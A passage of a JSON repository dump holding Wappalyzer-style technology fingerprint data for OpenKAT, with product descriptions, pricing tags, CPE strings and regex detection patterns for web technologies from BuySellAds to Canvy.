\"\",\n      \"_bsaPRO\": \"\",\n      \"_bsap\": \"\",\n      \"_bsap_serving_callback\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://s\\\\d\\\\.buysellads\\\\.com/\",\n      \"servedby-buysellads\\\\.com/monetization(?:\\\\.[\\\\w\\\\d]+)?\\\\.js\"\n    ],\n    \"website\": \"https://buysellads.com\"\n  },\n  \"Buyapowa\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Buyapowa is a scalable referral marketing and advocacy platform designed for all industries.\",\n    \"icon\": \"Buyapowa.svg\",\n    \"js\": {\n      \"Buyapowa.CanaryCheck\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.co-buying\\\\.com/\"\n    ],\n    \"website\": \"https://www.buyapowa.com\"\n  },\n  \"Buz Club\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Buz Club is a provider of private club management software featuring real-time integration.\",\n    \"icon\": \"BuzClub.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"secure\\\\.buzclubsoftware\\\\.com\"\n    ],\n    \"website\": \"https://buzsoftware.com\"\n  },\n  \"BuzzBuilder\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"BuzzBuilder is an automated sales platform that generates qualified leads through email campaigns, LinkedIn engagement, and follow-up calls.\",\n    \"icon\": \"BuzzBuilder.svg\",\n    \"js\": {\n      \"buzzbuilder\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.buzzbuilderpro\\\\.com/\"\n    ],\n    \"website\": \"https://buzzbuilderpro.com\"\n  },\n  \"BySide\": {\n    \"cats\": [\n      32,\n      76\n    ],\n    \"description\": \"BySide is a personalisation and marketing automation platform.\",\n    \"icon\": \"BySide.svg\",\n    \"js\": {\n      \"BySide\": \"\",\n      \"bysideWebcare_banner\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"webcare\\\\.byside\\\\.com/\"\n    ],\n    \"website\": \"https://byside.com\"\n  },\n  \"Bynder\": {\n    \"cats\": [\n      95\n    ],\n    \"cookies\": {\n      \"bynder\": \"^[\\\\dA-Z]+-[\\\\dA-Z]+-[\\\\dA-Z]+-[\\\\dA-Z]+$\"\n    },\n    \"description\": \"Bynder is a cloud-based marketing platform where brands create, find, and use all their digital content.\",\n    \"icon\": \"Bynder.svg\",\n    \"js\": {\n      \"Bynder.cloudfront\": \"\\\\.cloudfront\\\\.net/frontend/([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bynder.com\"\n  },\n  \"Byscuit\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Byscuit is a tool for managing cookies on websites, allowing users to control and customise their cookie preferences for enhanced privacy and browsing experience.\",\n    \"icon\": \"Byscuit.svg\",\n    \"js\": {\n      \"onloadByscuit\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.byscuit\\\\.com/\"\n    ],\n    \"website\": \"https://www.byscuit.com\"\n  },\n  \"bSecure\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"bSecure is a one-click checkout solution for selling your products all across the globe instantly.\",\n    \"icon\": \"bSecure.svg\",\n    \"js\": {\n      \"bsecure_js_object\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.bsecure.pk\"\n  },\n  \"basket.js\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"basket.js.png\",\n    \"js\": {\n      \"basket.isValidItem\": \"\"\n    },\n    \"website\": \"https://addyosmani.github.io/basket.js/\"\n  },\n  \"bdok\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"bdok is a cloud-based platform which provides the capability to create and manage online stores with no technical knowledge.\",\n    \"icon\": \"bdok.svg\",\n    \"meta\": {\n      \"bdok\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.ibdok\\\\.ir/\"\n    ],\n    \"website\": \"https://bdok.ir\"\n  },\n  \"bowser\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A small, fast and rich-API browser/platform/engine detector for both browser and node.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?bowser(?:\\\\.min)?(?:[-\\\\.][\\\\d\\\\w]{0,64})?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://opencollective.com/bowser\"\n  },\n  \"bxSlider\": {\n    \"cats\": [\n      7,\n      59\n    ],\n    \"description\": \"Add a respsonsive image slider to any website.\",\n    \"icon\": \"bxSlider.png\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"bxslider(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://bxslider.com/\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/c.json",
    "content": "{\n  \"C\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"C is a general-purpose, procedural computer programming language supporting structured programming, lexical variable scope, and recursion, with a static type system.\",\n    \"icon\": \"C.png\",\n    \"website\": \"https://www.open-std.org/jtc1/sc22/wg14/\"\n  },\n  \"C3.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"D3 based reusable chart library\",\n    \"icon\": \"C3.js.png\",\n    \"requires\": [\n      \"D3\"\n    ],\n    \"scriptSrc\": [\n      \"c3(?:\\\\.min)?(?:-[a-zA-Z0-9]{8})?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://c3js.org/\"\n  },\n  \"CCV Shop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"CCV Shop is a Dutch ecommerce platform that enables users to create and manage online stores efficiently.\",\n    \"icon\": \"ccvshop.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/website/JavaScript/Vertoshop\\\\.js\"\n    ],\n    \"website\": \"https://ccvshop.be\"\n  },\n  \"CDK Global\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"CDK Global offered a range of software and digital marketing solutions designed to help automotive businesses manage their operations, improve customer engagement, and enhance their online presence. Their services included dealership management systems (DMS), customer relationship management (CRM) software, website and digital marketing services, and various other tools tailored to the automotive industry.\",\n    \"icon\": \"CDK Global.svg\",\n    \"scriptSrc\": [\n      \"\\\\.connectcdk\\\\.com/\"\n    ],\n    \"website\": \"https://www.cdkglobal.com\"\n  },\n  \"CDN77\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"CDN77 is a content delivery network (CDN).\",\n    \"headers\": {\n      \"Server\": \"^CDN77-Turbo$\"\n    },\n    \"icon\": \"CDN77.svg\",\n    \"website\": \"https://www.cdn77.com\"\n  },\n  \"CEMax\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"CEMax is a premium customer engagement platform.\",\n    \"dom\": [\n      \"div[data-chat-url*='.cemaxai.com/']\"\n    ],\n    \"icon\": \"CEMax.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cemax.ai\"\n  },\n  \"CFML\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"ColdFusion Markup Language (CFML), is a scripting language for web development that runs on the JVM, the .NET framework, and Google App Engine.\",\n    \"icon\": \"CFML.png\",\n    \"website\": \"https://adobe.com/products/coldfusion-family.html\"\n  },\n  \"CINC\": {\n    \"cats\": [\n      32,\n      53\n    ],\n    \"description\": \"CINC is a lead acquisition and conversion platform for teams and top real estate agents.\",\n    \"icon\": \"CINC.svg\",\n    \"js\": {\n      \"CINC.AjaxApi\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.cincpro.com\"\n  },\n  \"CIVIC\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Civic provides cookie control for user consent and the use of cookies.\",\n    \"icon\": \"civic.svg\",\n    \"scriptSrc\": [\n      \"cc\\\\.cdn\\\\.civiccomputing\\\\.com\"\n    ],\n    \"website\": \"https://www.civicuk.com/cookie-control\"\n  },\n  \"CJDropshipping app\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"CJDropshipping is a dropshipping supplier and fulfillment service from China.\",\n    \"icon\": \"CJDropshipping.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.cjdropshipping\\\\.com/\"\n    ],\n    \"website\": \"https://apps.shopify.com/cucheng\"\n  },\n  \"CKEditor\": {\n    \"cats\": [\n      24\n    ],\n    \"cpe\": \"cpe:2.3:a:ckeditor:ckeditor:*:*:*:*:*:*:*:*\",\n    \"description\": \"CKEditor is a WYSIWYG rich text editor which enables writing content directly inside of web pages or online applications. Its core code is written in JavaScript and it is developed by CKSource. CKEditor is available under open-source and commercial licenses.\",\n    \"icon\": \"CKEditor.svg\",\n    \"js\": {\n      \"CKEDITOR\": \"\",\n      \"CKEDITOR.version\": \"^([\\\\d\\\\.])$\\\\;version:\\\\1\",\n      \"CKEDITOR_BASEPATH\": \"\",\n      \"CKEDITOR_VERSION\": \"^([\\\\d\\\\.])$\\\\;version:5-\\\\1\",\n      \"apex.libVersions.ckeditor5\": \"^([\\\\d\\\\.])$\\\\;version:5-\\\\1\"\n    },\n    \"website\": \"https://ckeditor.com\"\n  },\n  \"CMS Made Simple\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"CMSSESSID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:cmsmadesimple:cms_made_simple:*:*:*:*:*:*:*:*\",\n    \"icon\": \"CMS Made Simple.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"CMS Made Simple\"\n    },\n    \"website\": \"https://cmsmadesimple.org\"\n  },\n  \"CMSimple\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:cmsimple:cmsimple:*:*:*:*:*:*:*:*\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"CMSimple( [\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.cmsimple.org/en\"\n  },\n  \"CNZZ\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"cnzz.png\",\n    \"js\": {\n      \"cnzz_protocol\": \"\"\n    },\n    \"scriptSrc\": [\n      \"//[^./]+\\\\.cnzz\\\\.com/(?:z_stat.php|core)\\\\?\"\n    ],\n    \"website\": \"https://web.umeng.com/\"\n  },\n  \"CPABuild\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"CPABuild is a next generation CPA network with integrated template building and sharing functionality.\",\n    \"icon\": \"CPABuild.png\",\n    \"js\": {\n      \"CPABuildLock\": \"\"\n    },\n    \"website\": \"https://cpabuild.com\"\n  },\n  \"CPEx\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"CPEx is a publisher exchange system facilitating content distribution and collaboration among publishers.\",\n    \"icon\": \"CPEx.svg\",\n    \"js\": {\n      \"cpexAddCMPCloseButton\": \"\",\n      \"cpexCmpVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cpex.cz\"\n  },\n  \"CPG Dragonfly\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"^Dragonfly CMS\"\n    },\n    \"icon\": \"CPG Dragonfly.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"CPG Dragonfly\"\n    },\n    \"website\": \"https://dragonflycms.org\"\n  },\n  \"CREMA\": {\n    \"cats\": [\n      76,\n      90\n    ],\n    \"description\": \"CREMA is a platform offering review management, marketing personalisation, and size recommendations to enhance and streamline the consumer journey.\",\n    \"icon\": \"CREMA.svg\",\n    \"js\": {\n      \"CremaCryptoJS\": \"\",\n      \"crema.AdTracker\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//widgets\\\\.cre\\\\.ma/\"\n    ],\n    \"website\": \"https://www.cre.ma\"\n  },\n  \"CRM+\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"CRM+ is a German CRM software product building on Vtiger with GDPR-compliant extensions and improvements.\",\n    \"dom\": {\n      \"div.footer > div.floatRight \": {\n        \"text\": \"Powered by Brainformatik GmbH\"\n      }\n    },\n    \"icon\": \"CRM+.svg\",\n    \"implies\": [\n      \"MariaDB\",\n      \"amCharts\",\n      \"Sentry\",\n      \"Vtiger\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\",\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Apache HTTP Server\",\n      \"PHP\"\n    ],\n    \"website\": \"https://www.brainformatik.com\"\n  },\n  \"CS Cart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"CS Cart is a turnkey ecommerce shopping cart software solution.\",\n    \"dom\": [\n      \"a[href*='.cs-cart.com'][target='_blank']\"\n    ],\n    \"icon\": \"CS Cart.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"fn_buy_together_apply_discount\": \"\",\n      \"fn_calculate_total_shipping\": \"\",\n      \"fn_compare_strings\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"onetime\"\n    ],\n    \"scriptSrc\": [\n      \"var/cache/misc/assets/js/tygh/scripts-(?:[\\\\d\\\\w]+)\\\\.js\"\n    ],\n    \"website\": \"https://www.cs-cart.com\"\n  },\n  \"CSSIgniter Olsen Light\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"CSSIgniter Olsen Light is a clean, minimal, stylish and elegant WordPress blog theme, perfect for lifestyle, food, cooking, fashion, travel, wedding, health & fitness, photography and beauty blogging.\",\n    \"icon\": \"CSSIgniter.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/olsen-light/.+scripts(?:\\\\.min)?\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.cssigniter.com/themes/olsen-light\"\n  },\n  \"CTRWOW\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"CTRWOW is a system designed for building template funnels, offering tools for streamlining the creation and management of marketing funnels.\",\n    \"icon\": \"CTRWow.svg\",\n    \"js\": {\n      \"CTR_IMG_LAZY_LOADER\": \"\",\n      \"_CTR_CUSTOM_DATA\": \"\",\n      \"_CTR_FINGERPRINTJS_TOKEN\": \"\",\n      \"__CTRWOW_CONFIG\": \"\",\n      \"ctrwowUtils\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.wowsuite.ai/ctrwow.html\"\n  },\n  \"CTT\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"CTT operates as the national postal service of Portugal.\",\n    \"icon\": \"CTT.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bTourline Express\\\\b\",\n      \"\\\\bCTT\\\\b\"\n    ],\n    \"website\": \"https://www.ctt.pt\"\n  },\n  \"Caast.tv\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Caast.tv is a digital commercial animation solution integrated into the ecommerce customer journey.\",\n    \"icon\": \"Caast.tv.svg\",\n    \"js\": {\n      \"caast.open\": \"\",\n      \"caastInstance\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.caast\\\\.tv/\"\n    ],\n    \"website\": \"https://en.caast.tv\"\n  },\n  \"Cabin\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Cabin is a web analytics service that tracks and reports website traffic.\",\n    \"icon\": \"Cabin.png\",\n    \"js\": {\n      \"cabin\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.withcabin\\\\.com/\"\n    ],\n    \"website\": \"https://withcabin.com\"\n  },\n  \"CacheFly\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"CacheFly is a content delivery network (CDN) which offers CDN service that relies solely on IP anycast for routing, rather than DNS based global load balancing.\",\n    \"headers\": {\n      \"Server\": \"^CFS \",\n      \"X-CF1\": \"\",\n      \"X-CF2\": \"\"\n    },\n    \"icon\": \"CacheFly.svg\",\n    \"website\": \"https://www.cachefly.com\"\n  },\n  \"Cachet\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Cachet is the free and open-source status page for your API, service or company.\",\n    \"icon\": \"Cachet.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Cachet.Notifier\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://cachethq.io\"\n  },\n  \"CactiveCloud\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"CactiveCloud is a freemium based cloud provider and web server for static deployments of websites with HTML builds and serverless functions.\",\n    \"headers\": {\n      \"server\": \"^Cactive$\"\n    },\n    \"icon\": \"CactiveCloud.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://cactivecloud.com\"\n  },\n  \"Caddy\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*\",\n    \"description\": \"Caddy is a Go-based web server known for its simplicity and automatic HTTPS features.\",\n    \"headers\": {\n      \"Server\": \"^Caddy$\"\n    },\n    \"icon\": \"caddy.svg\",\n    \"implies\": [\n      \"Go\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://caddyserver.com\"\n  },\n  \"Cafe24\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Cafe24 is a global ecommerce platform that provides everything people need to build an online DTC store in one stop.\",\n    \"icon\": \"Cafe24.svg\",\n    \"js\": {\n      \"EC_GLOBAL_DATETIME\": \"\",\n      \"EC_GLOBAL_INFO\": \"\",\n      \"EC_ROOT_DOMAIN\": \"\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cafe24.com/en/\"\n  },\n  \"Caisy\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Caisy is a headless CMS platform providing flexible content management, seamless integration with various devices and channels, and API access for structured content delivery.\",\n    \"dom\": [\n      \"img[src*='assets.caisy.io/']\"\n    ],\n    \"icon\": \"Caisy.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://caisy.io\"\n  },\n  \"CakePHP\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"cakephp\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:cakephp:cakephp:*:*:*:*:*:*:*:*\",\n    \"description\": \"CakePHP is an open-source web framework. It follows the model–view–controller (MVC) approach and is written in PHP.\",\n    \"icon\": \"CakePHP.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"__cakeDebugBlockInit\": \"\"\n    },\n    \"meta\": {\n      \"application-name\": \"CakePHP\"\n    },\n    \"oss\": true,\n    \"website\": \"https://cakephp.org\"\n  },\n  \"Caldera Forms\": {\n    \"cats\": [\n      87,\n      110\n    ],\n    \"description\": \"Caldera Forms is the free WordPress form builder plugin.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/caldera-forms/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/caldera-forms/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Caldera Forms.svg\",\n    \"js\": {\n      \"calderaForms\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/caldera-forms/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://calderaforms.com\"\n  },\n  \"CalendarHero\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"CalendarHero (formerly Zoom.ai) is meeting scheduling software that helps you book meetings automatically.\",\n    \"dom\": [\n      \"iframe[src*='.calendarhero.com']\"\n    ],\n    \"icon\": \"CalendarHero.svg\",\n    \"js\": {\n      \"ZOOMAI.VARS\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.calendarhero\\\\.com/\"\n    ],\n    \"website\": \"https://calendarhero.com\"\n  },\n  \"CalendarWiz\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"CalendarWiz is an online scheduling calendar.\",\n    \"icon\": \"CalendarWiz.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.calendarwiz\\\\.com/\"\n    ],\n    \"website\": \"https://www.calendarwiz.com/\"\n  },\n  \"Calendly\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Calendly is an app for scheduling appointments, meetings, and events.\",\n    \"dom\": [\n      \"a[href*='//calendly.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Calendly.svg\",\n    \"js\": {\n      \"Calendly.closePopupWidget\": \"\",\n      \"Calendly.showPopupWidget\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.calendly\\\\.com/\"\n    ],\n    \"website\": \"https://calendly.com/\"\n  },\n  \"Calenso\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Calenso is an online enterprise scheduling solution that helps companies in consulting-intensive industries organize appointments.\",\n    \"icon\": \"Calenso.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.calenso\\\\.com/\"\n    ],\n    \"website\": \"https://calenso.com\"\n  },\n  \"Call Cap\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Call Cap is a tool used for tracking and monitoring phone calls.\",\n    \"js\": {\n      \"Callcap.data\": \"\",\n      \"callcap\": \"\",\n      \"callcap_webmatch_callback\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.marchex.com/callcap\"\n  },\n  \"CallPage\": {\n    \"cats\": [\n      5,\n      32\n    ],\n    \"description\": \"CallPage is a lead capture tool that automatically schedules callbacks and meetings with potential customers, enhancing lead management efficiency.\",\n    \"icon\": \"CallPage.svg\",\n    \"js\": {\n      \"callpage.__cp\": \"\",\n      \"callpage.__cp.version\": \"\",\n      \"callpageWebpackJsonp\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.callpage.io\"\n  },\n  \"CallRail\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"CallRail is a service that tracks and manages your phone leads, helping businesses to determine which marketing campaigns are driving quality leads.\",\n    \"icon\": \"CallRail.svg\",\n    \"js\": {\n      \"CallTrk\": \"\",\n      \"CallTrkSwap\": \"\",\n      \"crwpVer\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.callrail.com\"\n  },\n  \"CallTrackingMetrics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"CallTrackingMetrics is a call tracking and marketing attribution solution for contact centers and agencies.\",\n    \"icon\": \"CallTrackingMetrics.svg\",\n    \"js\": {\n      \"__ctm.numbers\": \"\",\n      \"__ctm_tracked_numbers\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.calltrackingmetrics.com\"\n  },\n  \"Callbell\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Callbell is a web-based live chat solution designed to help businesses manage team collaboration via multiple communication channels.\",\n    \"icon\": \"Callbell.svg\",\n    \"js\": {\n      \"Callbell\": \"\",\n      \"callbellSettings\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.callbell\\\\.eu/\"\n    ],\n    \"website\": \"https://www.callbell.eu\"\n  },\n  \"CamanJS\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"CamanJS is a JavaScript library designed for image editing directly on the browser, allowing manipulation of canvas elements.\",\n    \"js\": {\n      \"Caman\": \"\",\n      \"Caman.version.release\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/meltingice/CamanJS\"\n  },\n  \"Campaign Monitor\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Campaign Monitor is a global technology company that provides an email marketing platform.\",\n    \"dom\": [\n      \"input[value='campaignmonitor_subscribe_form'][name='form_id'], form[action*='createsend'][class='js-cm-form']\"\n    ],\n    \"icon\": \"Campaign Monitor.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.createsend1\\\\.com/\"\n    ],\n    \"website\": \"https://www.campaignmonitor.com\"\n  },\n  \"Candid Themes Fairy\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Fairy is a free and minimal WordPress blog theme by Candid Themes.\",\n    \"icon\": \"Candid Themes.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/fairy(?:-premium)?/.+custom\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.candidthemes.com/themes/fairy\"\n  },\n  \"Canny\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Canny is a cloud-based solution that helps small to large businesses collect, analyse, prioritise and track user feedback to make informed product decisions.\",\n    \"dom\": [\n      \"a[href*='.canny.io/']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"//canny\\\\.io\"\n    },\n    \"icon\": \"Canny.svg\",\n    \"js\": {\n      \"Canny\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://canny.io\"\n  },\n  \"Canto\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Canto is a digital asset management solution.\",\n    \"dom\": [\n      \"link[href*='.canto.com/'], a[href*='.canto.com/'], img[src*='.canto.com/']\"\n    ],\n    \"icon\": \"Canto.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.canto.com\"\n  },\n  \"Canva\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Canva is an online graphic design platform that allows users to create various visual content using pre-designed templates and a library of elements.\",\n    \"icon\": \"Canva.svg\",\n    \"js\": {\n      \"canva_debounceResize\": \"\",\n      \"canva_scriptExecutor\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.canva.com\"\n  },\n  \"Canvas LMS\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Canvas LMS is a web-based learning management system, or LMS.\",\n    \"headers\": {\n      \"x-canvas-meta\": \"login/canvas\"\n    },\n    \"icon\": \"Canvas LMS.svg\",\n    \"implies\": [\n      \"Ruby on Rails\",\n      \"React\"\n    ],\n    \"js\": {\n      \"webpackChunkcanvas_lms\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.instructure.com/canvas\"\n  },\n  \"CanvasJS\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"CanvasJS charts is a data visualisation library that runs across multiple devices and browsers.\",\n    \"icon\": \"canvasjs.svg\",\n    \"js\": {\n      \"CanvasJS.Chart\": \"\",\n      \"CanvasJS.Chart.version\": \"^v(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://canvasjs.com\"\n  },\n  \"Canvy\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"Canvy is 